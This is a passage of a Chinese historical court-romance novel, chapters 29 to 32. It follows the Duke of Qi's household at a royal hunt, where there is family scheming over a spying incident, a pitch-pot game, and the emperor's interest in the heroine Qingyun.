“主子睡了?”白芷边说,边掀起帐布瞥了眼,瞧见榻上安稳入眠的人不由说了句,“叫你来果然没错。” 离远几步,陈危问她,“主子遇到什么事了?” 她已经许久没再出现过这种状态,按理来说现在离开了王家,更不可能。 白芷不可能把所有事如实告诉他,只选了陈危也知道的一些事举例,低声说出自己的猜测,“陛下对主子的关注有些不同寻常。” 她用词委婉,陈危仍立刻明白过来,从神色上没看出什么变化,“还有吗?” “剩下的不方便说。” 陈危嗯一声,没问了,“我最近还是会待在公爷身边,有事传话。” 多瞧了几眼他隐在夜色中的背影,白芷真切感受到,来国公府的这几个月,陈危确实变化很大。 她回了帐内,守着清蕴睡觉。 这厢安安静静,隔了几丈远的地方,齐国公和大长公主的下榻处就充满了硝烟。 连着两晚,齐国公都因事未归,今晚终于得空,却一回来就挥退女使,充满怒气的双眼直逼在静静梳发的妻子。 对身后的灼灼视线,大长公主恍若未觉,兀自打理这几年终于长到腰间的黑发。 早些年嫌长发碍事,她离经叛道地剪过一次发,后来精心养着,长得也不快,这阵子因儿媳送的那些香睡眠好了许多,头发也乌黑亮丽了许多。 “窥伺帝帐的事和你有关,是也不是?”齐国公压低了声音质问。 他的声音低,怒火并没有因此减少,反而因妻子不搭理的冷淡态度燃烧得愈盛。 “因为你想杀审言,是不是?”第二句问话,几乎是一字一字蹦出,咬牙切齿,被压下的声调都转化成了齿间相碰的声音。 齐国公虽然掌兵,但他其实是个儒将,对部下都很少发火,更别说对家人,这难得一见的模样极为吓人。 大长公主毫不在意地把篦梳一掷,起身到床榻前更衣,旋即被人重重裹住双肩,转了过去,“说!” “说什么?”大长公主懒懒动了下眉,“你的好儿子不是没事么?如今还在喣儿跟前当狗尽忠呢。” 齐国公气极,“你厌恶审言生母,我知道,所以这些年对他不管不顾,只是给了口饭吃。他自己随军立下功劳,被你二话不说找人顶替,我也没有替他声张。如今已过去这么久了,为何就是不能放审言一条生路!” “生路?”大长公主冷笑,“怎么不去问问你的儿子,他准备走什么路?不惜当一条狗也要往上爬,他存的什么心思,你难道看不出?安安分分过日子就算了,他既有这样的心,我绝不会养虎为患。” “他有那样的能耐,如何能庸碌一生?你以为谁都是少思……” “闭嘴!”大长公主敛了所有神色,“你没有资格说少思的任何事!” 齐国公也露出痛心神色。 两个儿子的天资,他都清楚,倘若长子身体无恙,兄弟二人一文一武,将会在朝堂、在治兵上各放异彩。 只怪命运弄人,让他们成了这样一对兄弟,少思淡泊名利、不思世俗,审言也只能被迫平庸。 可审言毕竟是人,不是任他们摆布的娃娃,如何甘心一生平淡。齐国公能够理解他,对于他另辟蹊径争夺权势的方法,实在不忍心管束。 “我会找审言说,只要我们不再插手,即使他心中有怨,也会慢慢放下的。” 齐国公天真的说法让大长公主笑出了声,“你是不是太有自信,觉得他只对我有怨,能够听你的?” “我告诉你,你那儿子就是一头伺机择人而噬的恶狼,等他真正得势,哼。”大长公主虽没有正眼瞧过齐国公这个庶子,但从属下偶尔的汇报中能够得知,此子心狠手辣,这几年行事可以说是不择手段。 齐国公沉着脸,“那你就是不肯放他一条性命,甚至不惜触怒陛下,给国公府惹来祸患?” “我惹出的事,我自会平息。”说到这儿,大长公主想起侄子这两年的所作所为,心底其实也清楚,如果真牵扯到国公府,这事定不能善了。 但眼下她最执着的,仍是李审言,“你如果要护他,最好一天十二个时辰,一刻不离地亲自保护他。” 齐国公闭了闭眼,“我以为,琪瑛出生后,你对审言的事应该放下了大半。” “……关琪瑛什么事?”大长公主默了会儿道。 齐国公轻呵一声,浓浓的讥讽不知是对大长公主,还是对自己,“她到底是早产还是足月出生,你以为,我当真不知吗?” 第29章 待回京,再补上洞房之礼 琪瑛刚出生时, 齐国公就隐约察觉不对劲了,因为她的状态不像早产儿,大长公主的心腹也从容得很,对女儿的身体没什么担忧。 其实早在这孩子出生前, 夫妻俩就很少同房了。李秉真幼时身体太弱, 宛如风中残烛, 稍不注意就是一场高烧, 紧急着太医艰难救治,委婉地请他们准备后事。 说实话, 数次下来,齐国公几近麻木。他有时候甚至想,这孩子福薄命浅,和他们缘分不深,那样痛苦地活着, 不如解脱了好。 可妻子不愿意。 她执着地要和阎王抢人, 以坚定、狼狈又疯癫的姿态,不惜一切要给儿子生路。 齐国公仍记得,有次长子已经没了生机, 气息停止。旁人都在劝她节哀,她仍在拼命给他搓身子,把手脚都搓得热起来,然后抱着人嚎啕大哭, 毫无仪态。 在泪水滴灌下, 在她泣不成声的恳求下, 长子竟逐渐睁开了眼。 他看到向来没什么表情的长子凝视着自己的母亲, 许久用气声答她,“母亲, 我还在呢。” 从那以后,他果然一直都在。再如何痛苦,都强撑着挺了下来。 齐国公不知怎的,许是被母子俩那一瞬间迸发出的强烈求生力量所触动,也没再动过解脱的念头,同样加入其中。 所以发现琪瑛身世有蹊跷时,着人查探,得知女儿确实是足月生产,他在短暂的愤怒过后,竟有丝释然。 按照时间来算,那段日子他和妻子没有同房过,孩子定不是他的。但琪瑛的生父到底是谁,很重要吗? 如果这样能够让她内心的怨恨和疲惫得到出口,齐国公愿意容忍这个女儿的存在,将她视如己出。 可他显然把事情想得太简单。 随着齐国公话语出口,大长公主动作顿住,“你什么意思?” 齐国公淡道:“你怎么想的,我就是什么意思。” 说完这句话,他知道再和她争论无益,干脆地离了帐,留身后的人久久沉默。 …… 王宗赫帐内。 李秉真听完身边人的话,目露沉思,“照你这么说,他应该还没找到证据。” “嗯。”这两天,王宗赫基本已经知道了此次窥伺帝帐的来龙去脉,和李审言共同查案时,也多次避开了对方设下的陷阱。 李秉真对自己信任到这个地步,能够把隐秘家事告知,他不知是不是清蕴的原因,但他愿意为之掩饰,更多还是因为妹妹和王家。 想到周墨的事还可能因此牵扯到刺杀天子,王宗赫尤为谨慎。 “这样不妥。”李秉真却道,“母亲扫尾太干净,还有你在暗中帮忙,他不可能找到任何证据。” 但如果始终没有证据,李审言会让它出现。 或者说,陛下也会不介意李审言帮它出现。 “且这是陛下对你的有意历练,也是试探。”李秉真看向妻兄,“陛下想看,你到底和王中堂一样,能够不偏不倚,还是会因我和清蕴的婚事,倒向齐国公府。” 王宗赫微怔,继而沉思。 这一层他想得少,更多的,还是认为父亲为大理寺卿,陛下有意看看自己在这方面的才能,恰巧点了他。 但对天子的心思,李秉真摸得很透,继续道:“李审言不傻,你一味阻拦,定会被他察觉,报给陛下。陛下想重用和齐国公府、柳阁老都没什么关系的人,你出身王家,已占了优势,不要因此事把前途葬送。” 不管私底下如何,王贞在朝堂上是少有的能够坚决只听建帝旨意的人,外孙女嫁给齐国公府也不曾改变他的立场。建帝对此想必很满意,所以对他的孙子也另眼相待。 王宗赫的抱负,李秉真也看得出,并不介意点明朝堂局势,让他不要陷入其中。 “我明早会去找一人,然后给你线索,你顺着查,把周墨之死推到柳文宗那儿。”李秉真轻描淡写,“此后李审言查案,也不必再阻拦。” 不过……李秉真着重道:“这样可能会让你小小得罪柳文宗,你可愿意?” 王宗赫一时未答,脑海中飞快思索。世子的意思是把国公府和柳阁老同时拉下水,到时陛下只能各打五十大板,就无法再借题发挥,除非他想把大半个朝堂都牵扯进去。 为何非要这样?王宗赫不太明白,因为在他看来,两方有争斗正好,陛下身居高处,正好可以随时把控局势,一旦自己都下场,就不好再隔岸观火。 “……陛下到底想要如何?”他低声问。 李秉真摇摇头,“我也说不清。” 其实这样的局面,应该是天子乐意看到的才是,所谓的忠、奸、纯,这三者界线并不清晰,也都是朝堂上不可缺少的。如果天子执意要打破平衡,最终影响的,会是整个建朝。 略过这个过于敏感的话题,李秉真继续和王宗赫交代明天的细节。 两人商议结束时,才发现已经到了子时。 李秉真道:“时辰太晚,回去恐怕会打扰夫人歇息,今夜能否在克衡这儿借宿?” 王宗赫应下,让疏影打水,两人分别净手擦身。 知道李秉真体弱,他给自己在地面铺了层被褥,准备把床榻让给李秉真,净手回来时却发现对方已经坐在地面的那床被上。 李秉真微微一笑,“怎好占了主人床榻,我还没有金贵到这个地步。” 原地站了下,从善如流地上榻,王宗赫道:“几位太医住处离这儿不远,若有身体不适,世子尽管说。” “好。” 说完案子,两人就没那么多话交流了。 在清蕴嫁进齐国公府之前,他们没什么交集,顶多是王宗赫偶然听到过关于齐国公世子的传言,那时候怎会知道,自己心仪的表妹会嫁与他为妻。 如果他冲动些、鲁莽些,也许会对李秉真有怨言,但他生来就缺乏那样的不理智,心中也清楚,这是清蕴的选择。 “克衡今年多大?”李秉真忽然问。 “六月及冠。” “还是少年英才。”李秉真道,“如今可有定亲?” 大概是这两年听过太多这样的话,王宗赫误会了,“不曾,暂时也没有成亲的打算。” 李秉真似乎笑了下,“我没有做媒的意思。” 即使做媒,他也没有合适的人选。妹妹琪瑛?两人只会瞧不上彼此。 王宗赫对清蕴的心思他了解,但如今罗敷有夫,以这位妻兄的明智,想来会逐渐放下。 微弱的烛光狭成一条直线,恰好分隔在两人之间,使各自的脸都有大半隐在暗处。即使王宗赫往下瞥,也只能看见模糊不清的一片光影。 李秉真没再言语,咳了两声,起初是低而间断的咳,而后频繁起来。王宗赫没法再闭眼,起身给他倒水,恰好看见他从瓶中倒出三粒药丸,直接干咽入喉。 “世子经常这样?” 王宗赫内心想的是,他们夫妻二人相处时,难道也是如此?那样的话,清蕴就不是嫁了个丈夫,而是…… 她表现出的那些轻松、怡然,是真是假? 李秉真没答这个问题,歉意道:“对不住,惊扰你了。” “……无事。” 重新回榻,王宗赫咽回了许多在胸间翻滚的话,譬如他身体到底如何,譬如对于清蕴的想法。可他们没熟到那个地步,夫妻间的事,更没必要对外人交代。 ** 天色蒙昧,李秉真悄声离去了。 刚到卯时,不用上朝,除去轮流巡逻的侍卫,大部分人都起得不早,他回去时,父母及妹妹的幄帐也安静得很。 尽管放轻了动作,解衣的细微声音依旧惊醒了清蕴,她尚未睁眼,先下意识说了什么模糊的字,而后瞥见他,“世子?” “还是吵醒你了。” “没事,我已经睡足了。”问过时辰,得知还早,清蕴让他再上榻歇会儿。 李秉真周身还带着些许凉意,一入榻就让清蕴轻轻打了个寒颤。他察觉到了,刚要离远些,人已经被拉住,清蕴抱了过来,窝在他胸前,像只睡饱了仍懒洋洋的猫儿,一定要盘在人身边。 她很喜欢这样的姿势,李秉真几月来深有了解。 起初清蕴还不大喜欢和人肢体接触,渐渐的,越来越习惯整个人被他裹在怀里,而李秉真也很享受这样小小的依赖。 他顺势将人拥住。 “那件事处置得如何?” 李秉真三言两语说出计划,清蕴一听就明白过来,“你担心陛下早就知道内情。” “嗯。” 难道会不知道吗?明知大长公主对李审言的厌恶,还执意把人带在身边,每时每刻都在提醒她,深恶痛绝的人得了天子重用。 李审言查出来不稀奇,查不出来才奇怪,谁在背后阻拦他?王宗赫一旦因这件事入了眼,他的仕途还没开始恐怕就已结束。 手搭在李秉真胸前,清蕴一副神游模样,忽然察觉额头一点凉意,抬头过去,望见他若无其事收回的手。 他有时就是会有这些莫名又显得幼稚的动作。 顿时无言,默默看着人,直到李秉真忍不住,从胸前中生出阵阵笑意,俯首亲了亲她的唇。 清蕴刚想开口,唇间却被顺势探入,勾着她一同交缠。 在这件事上,两人已经很熟练了。李秉真温柔而体贴,眼中仅映入她一人,时刻注意她的感受,清蕴从没抵触过和他的亲近。 濡湿的吻从唇畔辗转到耳侧,清蕴伸手抱住他,身体自然而然舒展开来。 不过他点到即止,没有缠绵太久,而是轻声道:“此处不便,待回京,再补上洞房之礼,可好?” “嗯。” 第30章 李校尉,你代朕下场比一比 半月的天穹山之行, 转眼到了第七天。 期间除去窥伺帝帐一事引起些许风浪,其余时候狩猎、比武、赛马等活动照常进行。 根据李秉真的说法,查案一事不用急,现在等着李审言和王宗赫各自找出证据就行。 她没有其他事, 就安安静静地和李秉真待在一块儿, 围观别人狩猎。他被传召去圣驾身边时, 就待在帐子里, 哪儿也没去。 值得一提的是,陈危在这期间的狩猎和比武中, 屡屡获得前三,还在武将间的小赛中大出风头,如今在好些武将那儿挂了名号。齐国公特意为此来寻她,想把陈危要到自己身边。 清蕴没拒绝,只说随他自己意愿就好。 齐国公果真去问了陈危, 没过多久就派人告诉清蕴, 说陈危太过忠心,不愿离开旧主,但这样太过浪费才能, 请她出言相劝。 “夫人心情很好?”李秉真出声询问。 “有这么明显?”清蕴微微一笑,把陈危的事情说出。 李秉真想了想,“其实还有一法。” “嗯?” “可以请父亲收他为义子。” 清蕴讶然。 李秉真却不是随口一说,而是早就想过。这段时间陈危一直跟在父亲身边, 他也在审视这个少年, 除去武力高外, 学习的速度也很快。沉默寡言的性格在别人看来木讷, 在他看来却很可靠。能够让清蕴信任这么多年,对陈危的人品, 李秉真自觉也不需要额外考校。 再者,如今齐国公府,除去父亲掌了兵外,其他人都算手中无权。他无法入仕,李审言不可能为李家效力,如果陈危真的能被培养起来,也是件好事。 这些想法,李秉真没有马上对清蕴说明,仅仅是带过了一句话。 “你觉得如何?” 认真思索了下,清蕴点头,“如果父亲同意,我也不会反对。” 李秉真颔首,“我会找时间去说。” 夫妻俩就这件事谈论了会儿,边在外面走动。 也许是在天穹山待的时间久了,年轻人耐不住寂寞,点子多,不喜欢总是围着猎物转,便有人寻了个地方在举办蹴鞠赛、射箭赛,甚至还有诗会。清蕴和李秉真到处转悠凑热闹,被人认出来了就及时避开,并不参与其中。但大概是看他们太闲了,在她再次和李秉真在猎场外围转悠,拦截些小动物时,收到友人邀请,说附近有个投壶赛,请她一同参加。 友人道:“若是世子有兴致,不妨一起来。” 她冲清蕴眨眨眼,显然有所受命,大概是朋友们想见见清蕴这位夫君。 李秉真何等敏锐的人,笑了笑,“正好无事,就随夫人一起去罢。” 他今天穿着很随意,道袍与清蕴的竹青上衣同色,木簪束发,仅在腰间佩了块游鱼玉佩,乍看上去,像个来山间采风的文雅书生。 见了一众对清蕴打招呼的人,他礼貌性地颔首示意,就看向别处,视线没在女孩儿身上过多停留。 夏琳等人愣了愣,这就是齐国公世子? 齐国公高大威猛,大长公主也高傲得不可一世,竟会生出这么谦逊有礼的世子。 哪个姑娘不偏爱翩翩君子,李秉真一照面,就得到了她们大半认可。心道这样如玉的郎君,体弱些又怎么了,反正无需上战场杀敌。 看来清蕴说的那些话真不是托辞。 有人扫了圈,“怎么不见令娴和她家小妹妹?” “说是身子不舒服,都在歇息呢。” 清蕴了然,定是被三哥拘住了,不允她们随意走动。 人到齐了,投壶赛很快开始。 比赛分两组,彩头为灵芝式样白玉笔洗和象牙扇,都是不可多得的珍品。清蕴一问,才知道前者是宝真郡主允诺的礼品,据说是她府中珍藏。 顺着她们指引望去,瞧见个脸蛋圆润、五官玲珑的少女,周身琳琅环佩、贵气逼人,想来正是她们口中的宝真郡主。 她和清蕴想象中不大一样,不仅生得秀气,气质也显天真烂漫。本以为和李琪瑛为好友,定也是个盛气凌人的小郡主,没想到很有些可爱。 宝真本在偷偷打量她和李秉真,猝不及防被发现,做贼似的飞快溜回眼,再不敢盯这边。 李秉真发现了,见清蕴笑盈盈瞧自己,故意出声,“那是谁?” 藉香看去,纳罕于世子记性之差,老老实实答:“爷,那是宝真郡主。” 您还特意让春夏秋冬四人在身边亲近服侍,吓退过这位小郡主呢。 “原来是她。”李秉真点头,“许久不见,险些忘了。” 装模作样的演戏成功把清蕴惹笑,摇摇头,没说什么。 清蕴抽签位于中间位置,大约过了一刻钟,就轮到她投壶。 投壶,射之细也。这门雅戏类似射箭,又无需强健臂力,只需巧劲,男女皆宜。他们定下的规则为每人先投十箭,筹数多的前二十、前十、前五进入下轮,如此决出最终两名胜者。 清蕴立在场中,双足与肩同宽,身体微微前倾,手腕轻转,先中一筹,潇洒轻松的姿态登时引来友人喝彩。 李秉真本来在认真欣赏夫人风姿,渐渐的,看出了一点异样。 在第三箭后,清蕴就开始发挥不稳,时常中一箭、失一箭。他听见她的友人可惜道:“猗猗每逢比赛就容易紧张,前三箭还好,后面便要泄劲,估计又是六七筹。” 她说的不错,最终数筹,清蕴中了七箭,处于不上不下的位置。 但李秉真对清蕴的心性十分了解,她向来冷静,根本没那么容易紧张。 继续凝神观看,他发现了规律。清蕴投壶,总会和前面几人的中间数恰好一致,既不会太出彩,也不至于失色。 他想起成婚前,自己让藏翠打听的消息。 藏翠说,清蕴闺中时,有一度在京中贵女中名声大盛,容貌、才情、气质都备受赞誉。名声极盛时,她在王家待了段时日没出门,隔了大半年再出现时,已失了以往处处顶尖的风采。 木秀于林,风必摧之。李秉真自己没有类似烦恼,但深知其意,自然而然意识到,以清蕴在王家的身份,在京中的地位,倘若表现得太过出色,确实容易遭到针对。 李秉真对藉香耳语几句,他立刻跑去台边,不一会儿,便有人道:“咱们的世子爷、李学士为投壶再赠一礼,羊脂玉一枚,入前三者皆有奖。” 清蕴动作停顿,出众的视力看清了那块羊脂玉的制式,正是家中给他寻的暖玉,据说佩戴可以暖身养气。即便没那些功效,戴了十几年的玉,也不该说舍就舍了。 她不赞同地看去,李秉真远远拱手,意思仿佛是不便亲身进场,只能用这种方式为她助力。 清蕴低声对白芷吩咐,她也跑去台边,过了会儿回来摇头,“不让换。” 台边正好有清蕴好友,特意走到她身旁,“想要回你夫君玉佩,只能努力取得名次了。不让换可是世子的吩咐,并非我们为难你。” 说完打趣道:“世子在用这法子为你打气呢,你们夫妻恩爱就罢了,竟还到投壶赛来给我们展示一番,当真过分。” 她们都能意识到的事,清蕴怎么不清楚,心头微动,敛住目光没有再朝李秉真那儿看。 而她接下来的投壶,简直是百发百中,力度、角度全都恰到好处,友人开始还为她拊掌,后来则是满脸揶揄。 最后一箭松手时,身后忽然有动静传来,周围喝彩声骤然停止。 清蕴回身,瞧见大步走来的建帝,他口中抱歉,面上可不见丝毫不好意思,“方才见李夫人出神,还以为射不中,故而想助你一臂之力,看来是朕多事了。” 壶中正插十支箭,但最后那枚不是清蕴所投,而是建帝的羽箭。他边走边投,不仅击落了清蕴的箭,力道之大还把壶身带倒了。 她神色如常地垂下手,没对这截胡的行为发表任何看法。 其余人纷纷行礼,暗暗对视一眼,不知陛下是闲逛到这儿,还是另有目的。 建帝身边仅带了两人,万云和李审言,阵仗太小,所以刚才没人察觉。 李秉真过来见驾,建帝心情很好地摆手,“不必多礼,朕是随意走走,见这儿人多便来凑个热闹,你们这比赛可有什么彩头?” 登时有人举托盘而来,将三物奉给建帝观看,他随意捏起象牙扇瞧了瞧,“这三个奖品都从何而来?” 听过解释,不由笑了笑,“朕若是说对这些也感兴趣,会不会太欺负人了?” “这样,李校尉,你代朕下场比一比。若是胜了,朕也可以在其中挑选一样。若是输了,朕再赐一礼。” 他要参赛,众人当然不会拒绝,顿时踊跃应好,有些人一扫先前颓势,暗暗想在陛下面前表现。 这儿的热闹景象引起其他人注意,发现建帝在此,逐渐围观过来,渐渐的,竟成了一片人海。 随意扫过去,清蕴发现齐国公、大长公主、二舅舅、三哥等熟人也在其中。 30-40 第31章 凡他想要,还没有一直得不到的 投壶规则有了变化, 从轮流投十箭,筹数多的人为赢家,到两两分组同时投一壶,谁能投中更多或先投中, 就算赢。 以李审言的功夫, 拼武力的比赛其他人肯定不如他, 但这是投壶, 不需要多大的力气。 如果赢了,说不定能和李校尉一样得到陛下赏识, 一飞冲天。 当然,还有些年轻人只是纯粹想打败陛下身边的人。 王宗赫皱着眉发现,甚至有同年也因陛下的话跃跃欲试,眼冒精光。 王维清低声道:“这位李校尉晋升的事传出去,搅得人心浮动。长此以往, 不是好事。” 上有好者, 下必甚焉。当你老老实实读书、科举、入仕,谋得一官半职后又呕心沥血做出业绩,却发现不如别人卖艺杂耍升官快, 自然会不平衡。 不是每个人都有为国为民的抱负,至少有一半人当官是为了功名利禄。建帝喜欢玩乐的名声传出去,投其所好的人也会越来越多。 王宗赫沉默。 二叔说得不错,李审言今岁二十三, 他虽然在卫所待过, 但不能算实打实升上来的武将, 也不是凭借皇亲国戚身份拿到的官职。凭这个年纪, 算得上平步青云。 以柳文宗柳阁老举例,他二十三岁的时候可能才刚成为进士, 在翰林院默默耕耘,经过十几二十年的沉淀,一路慢慢升迁,才到如今的位置。 祖父年过六十,在六部辗转了二十余年,得到尚书一职。父亲今岁四十有二,前两年终于从大理寺少卿擢升至正卿。 叔父、兄长等人更不用说,有的外放历练,有的正戍守边城,而他们的仕途在常人看来已经算十分顺利。 自己呢?有状元的名声也没什么,每三年都会出一个,悄无声息沉寂的也不少。 文官要出头,着实不易。周墨当初高中探花,还不是在琢磨些投机取巧之事。 随着哨声响起,投壶赛再次开始。 因是两人一组,清蕴还要提防别人把自己的箭击落,不由收敛起先前随意玩乐的心态,认真起来。 当她第三次击落旁人的箭,命中投壶时,大长公主忍不住叫了声“好”。李琪瑛看得酸溜溜,凑到齐国公身边,“阿娘爱屋及乌,我总觉得只有哥哥才是亲生的,娘如今对大嫂都比对我好了。昨天我独自猎了头鹿,也不见她夸我。” 齐国公看着她明亮无忧的眸子,笑了笑,拍拍她的脑袋,没说话。 李琪瑛纳闷,抬头望父亲,人已经重新看回赛场了。 场中逐渐决出前十五,其中正好有清蕴和李审言。 到这时候,她不像之前那样严阵以待了,确定能够位于前十五后,就在观察场上局势。 李审言的身份注定他会被针对,年轻人和那些深谙官场规则的人不同,不会因为他的身份和代表的含义有顾忌,反而会想争先挤下他。 李审言也发现了,有些人即便自己投不中,也会故意击中他的箭矢,让别人胜他。 待会儿混战起来,他无疑会成为靶子,最吃亏。 他不着痕迹地走到了清蕴身边,边观战边低声道:“嫂嫂,可要合作?” “嗯?”清蕴仅微抬眼皮。 “你想赢回那枚羊脂玉,必须得做挑选的第一人。我代表陛下参赛,不能让他太丢颜面。”李审言意外得坦然,“假如最后仅剩下我们和另一人,我会助你拿到头名。” 从承乾宫那天表现来看,李审言行事更像一头孤狼,怎么会找人合作,而她的身份还属于半个李家人。 清蕴直接拒绝。 李审言挑眉,没说什么,走回自己的位置,却在又经过两轮比赛后笑了起来,对清蕴故作拱手,作了个口型,称“多谢”。 围观的人可能看不大真切,同行比赛的人电光火石间恍然,这对叔嫂莫不是私底下达成约定,暗中相帮,以夺名次。 清蕴立刻感到即将和自己比试的人目光警惕起来。 原本他们不会对她用手段,只老老实实比赛,遇上李审言才会群起攻之。 她明白了李审言的打算,找她合作是假,让她也成为众矢之的才是真。 想通这个关节,李审言用心可以说颇为“险恶”。 不远处,李审言懒洋洋地抚过箭矢,站直了身体。他确实是故意的,想看看这个备受李家人称赞的大嫂,会有什么高招。 随后他看见,清蕴和身边几人低声说了几句话,正当他以为她要和自己一样时,却见她温和一笑,“不好意思诸位,我手腕有旧疾,如今已感到不适,就先行退出了。你们继续,只是玩乐而已,尽兴即可。” 说完,竟走回李秉真身边,当真开始旁观了。 李审言眯了眯眼,收回视线。 “准备如何对付他?”李秉真的声音响起。 他一直在关注清蕴,知道她临走前和那几人说话,肯定不是简单解释自己有手伤。 清蕴微微眨眼,“合纵连横。” 李秉真:“愿闻其详。” 因为建帝派李审言加入,寻常规则被改动。十五个人,除去第一名,其余人先二二一组决出胜者,再形成八人混战。 假如李审言未进前三,将会有四份礼品,所以只需要找到四组人,与他们暗中约定,在各自组内胜出的四人在混战中通力协作,一定会比散兵强。 至于怎么在短时间内分辨自己人,清蕴让他们把玉佩全系在左侧。 李秉真:“……他们为何会同意?” 失败的那几个人岂不是什么都没有,毕竟那些礼品不能一分为二。 “自然是想赢过陛下了。”清蕴笑起来,年轻人气盛也有气盛的好处,至少为了打败李审言都铆足了手段。 但他们先前都是各自为政,彼此碰上时依旧不留情面,这样下去,占优势的依旧是李审言。 清蕴原本没想做这些小动作,毕竟只是场玩乐,建帝下场,也不过让她多犹豫了会儿。 李审言先下手,就怪不得她了。 至于李秉真的玉佩,她已应下他们会用别物交换。 听完这些,李秉真闷笑,觉得这样不肯白白吃亏的她很有些可爱,从袖中伸手握住她。 周围站着这么多人,虽是夫妻俩,手牵着手也很扎眼。清蕴刚动了下,被他在掌心微挠,一点痒意传来,很快放弃了。 不出他们所料,有了战术和明确目标后,场中很快决出9人,其中有四人暗地成团,李审言依旧为众矢之的。 眼见他投入壶中的箭总被人“不小心”打落,建帝大笑起来,他看得很清楚,场内已经隐隐有人成团,下定论道:“看来李校尉无缘前三了。” 比的毕竟不是武功力气,单打独斗如何比得过别人齐心协力。 他感慨道:“武力、技艺远高于众人又有何用,旁人辅车相依,而他孤家寡人,如何胜出?” 建帝话语意有所指,闻者心头一紧,说:“为得陛下赏识,这些年轻人连兵法谋略都用上了,可见对陛下如何心向往之。李校尉想必早就看出来了,不愿与他们计较。” 建帝一笑置之,目光越过人群,落在清蕴身上,也落在她和李秉真交握的手。 这些人联合起来,八成是她退场前的主意,倒很有狡智,不肯吃亏。 唯独让建帝不解的是,依她行事作风,嫁进齐国公府是她的谋算,所为定是权势。因为在此之前,她和李秉真没见过面,也没任何感情。 他是皇帝,坐拥四海,掌天下权柄,难道不能满足她? 拒绝得那般果断,回头依然能若无其事和李秉真恩爱。建帝心中生出极其微妙的不悦。 登基以来,凡他想要,还没有一直得不到的。 如此想着,在场中决出前三时,发现其中没有李秉真,建帝面色淡然,“看来朕当真要再出一礼。” 他让人把第四名也叫到跟前,和颜悦色问:“都是哪家小辈?” 四人默默对视一眼,忍住翻涌的激动,各自报上家门。不如所料,即便不是名门之后,家中也有在朝堂排得上名号的长辈。 胜者当中,有个看模样尚未及笄的少女,见建帝态度亲和地让他们挑礼品,还可以另外提出一事,便高兴道:“陛下此次带来的御厨所制荷花酥尤其美味,可惜只在第一晚做过一次,能否再赏臣女一盒荷花酥?” 场内响起低低笑声,少女家人也大觉丢脸,默默后退两步,只作不认识。 建帝也笑了下,“朕直接把御厨赏你,可好?” 少女大喜,也不懂推辞,直接俯首谢恩,天真情态引得场上氛围和缓许多。 对于代他参赛却败得如此彻底的李审言,建帝没说什么,任他回到身侧。 投壶赛结束,三人看架势要去别处。这时候,齐国公默默跟过去,被万云拦住,“公爷可有什么要事?” “在下有事和陛下启禀,劳烦万公公代为通传。” 万云道:“放心罢,陛下不会因这点小事苛责李校尉。国公若是为这事,就不必特意求见了。” 他和齐国公面上关系其实尚可,提点了这么一句,但齐国公没有打消想法,依旧定定看着他。 万云意识到,齐国公恐有重要的事。 他跑上前和建帝低语,天子回头瞥了眼,把人带到行宫。 “陛下,臣有罪。”刚入殿,齐国公就跪地请罪。 “哦?”建帝好奇,“何罪?” “臣今日才知,当夜窥伺帝帐一事,极有可能是臣命属下找审言传话时,传令不当,以至他不知那竟是天子所在,造成误会。”齐国公低首,“臣一直以为和自身无关,多日来也不曾关注。直到今早意外从属下口中得知真相,忙来向陛下陈清。” 这话说出来,三岁小孩儿都不信。天穹山第一夜,建帝会和他们同住幄帐,这是众所周知的事。 帝帐规制和其他又有不同,左右守卫森严,岂是一个不小心就能凑进去的?齐国公揣着明白装糊涂,建帝一时也摸不清他这葫芦里装的什么药,“齐国公莫不是在和朕说笑话?” 他是怀疑大长公主,想找证据,结果齐国公自己先来请罪? “臣所言句句属实,陛下不信,尽可来查。” 建帝冷笑,“何为窥伺帝帐,你可知其意?这可不是简单一句误会就能解释的。” “虽是误会,也是臣教导属下无方,下令时又未曾考虑周全,险些酿成祸患,臣愿意领罪受罚。” 于建帝来说,这简直是破天荒。 他那不怒自威的眼扫过俯首在地的齐国公,扫过万云,再扫过李审言。 于是淡道:“连一个属下都教导不好,朕如何相信你能治好兵?” “臣也认为如此。”齐国公直起上半身,“臣愿意卸去统领一职。” 第32章 若是齐国公府就此失势了,夫人会不会嫌弃我? 齐国公犹记四五年前的光景, 那时候内忧外患刚刚平息,朝内百废待兴,君臣和乐,齐心协力, 共创盛景。 他们夫妇和陛下的关系也没有这么紧绷。 先帝是妻子兄长, 秉性柔和, 对唯一的胞妹十分纵容。他在位时, 妻子的脾气才叫大,动不动指着文武百官的鼻子叫骂, 还能干预政事。 不过那是十多年前的事了,当时陛下还是个少年郎,意气风发。对姑母有长辈的尊敬,私下也会同他抱怨,说姑母喜怒无常, 不知他如何忍受。 他们是自家人, 这样抱怨两句算是亲昵。事实证明确实如此,陛下登基后,起初对妻子的信任, 比先帝有过之而无不及。 态度到底是从何时开始转变的? 他时常在脑海中回想、过筛,想起当初他们夫妇平乱回朝,陛下亲自出城迎接,那是何等容光。 陛下对他们训出的兵很感兴趣, 站在城外三十里长亭内, 命他们在一刻钟之内涉过江水。这道御令足足过了三息, 等大长公主下令后才有人反应。 当时他便觉不好, 悄然观陛下脸色,看得出确实不大好, 便在事后请罪,得到的是摆摆手毫不在意的回答,“你们治军有方,朕怎会怪罪呢。” 形势到底是不是从这刻发生转变,齐国公不敢肯定,但这件事无疑也是陛下心头一根刺。 可班师回朝后,接踵而来的祝贺和容光让他也一时飘飘然了。 无战事时,武官要压过文官很难,他们练兵用的器具、银子都要从文官手底拨,平时只有皇帝想到狩猎,或者每年大比才有用武之地。其余时候,最多维护城中治安,负责巡逻守卫,抓捕案犯。 像这种文官反过来事事征求他们看法的时候,少之又少。 大权在握,齐国公也对妻子的话深表认同。陛下有意打散李家军进入各卫所时,他找了个借口婉拒。 同时,默认了孟集的打算,暗中助他入阁。 被朝中过半臣子上谏,赞同孟集入阁时,陛下心中是何想法? 齐国公不知,等他意识到的时候,已经晚了。 可和妻子争吵过一通,冷静下来,他忽然意识到,纵使自己有滔天权势,于如今的齐国公府而言,不仅无用,还是祸非福。 除非他想推翻杨家皇权。 ** 投壶赛后,天穹山忽然下了场雨,众人各自回帐歇息。 清蕴手中把玩着那枚羊脂玉佩,方方正正,白玉为底,上雕滴水观音,触感温润细腻,是珍品中的珍品。 白芷在外请示了声,得到应允后掀开帐门,油伞倾斜,在身后滴滴答答成一片水帘。 她是来送礼物的,二舅舅王维清见清蕴中途弃赛,给她送了个木雕老虎,以示安慰。 清蕴生肖为虎,这木雕栩栩如生,就是有点像哄小孩儿。清蕴见了,有些哭笑不得。 